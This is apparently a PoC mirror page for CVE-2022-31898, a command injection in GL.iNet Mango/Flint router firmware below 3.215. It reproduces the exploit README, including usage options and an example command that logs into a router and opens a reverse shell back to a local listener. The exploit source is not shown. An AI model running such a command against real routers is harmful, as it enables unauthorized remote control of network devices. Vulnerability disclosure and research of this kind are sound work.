CVE-2022-31898 PoC — GL.iNet GL-MT300N-V2 Mango 操作系统命令注入漏洞

Source

https://github.com/gigaryte/cve-2022-31898

Associated Vulnerability

Title: GL.iNet GL-MT300N-V2 Mango 操作系统命令注入漏洞 (CVE-2022-31898)
Description:gl-inet GL-MT300N-V2 Mango v3.212 and GL-AX1800 Flint v3.214 were discovered to contain multiple command injection vulnerabilities via the ping_addr and trace_addr function parameters.

Description

Exploit POC code for CVE-2022-31898, a command injection for GL-iNet routers with firmware below 3.215

Readme

# cve-2022-31898
Exploit POC code for CVE-2022-31898, a command injection for GL-iNet routers with firmware below 3.215

# Usage

```
./cve-2022-31898.py -h
usage: cve-2022-31898.py [-h] -R RHOST [-P RPORT] -L LHOST [-l LPORT] [-p PWD] [-t]

options:
  -h, --help            show this help message and exit
  -R RHOST, --rhost RHOST
                        IP/hostname of Mango router
  -P RPORT, --rport RPORT
                        Port to connect to Mango router on
  -L LHOST, --lhost LHOST
                        Local host/IP for reverse shell to connect back to
  -l LPORT, --lport LPORT
                        Local port for reverse shell to connect back on
  -p PWD, --pwd PWD     Password to use to log in
  -t, --https           If set, use HTTPS
```

## Example

Exploit GL-iNet router at `192.168.8.1` over HTTPS and connect back to local box at
`192.168.8.123:8008` with admin password `password`:

```
./cve-2022-31898.py -R 192.168.8.1 -P 443 -L 192.168.8.123 -l 8008 -p password -t
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →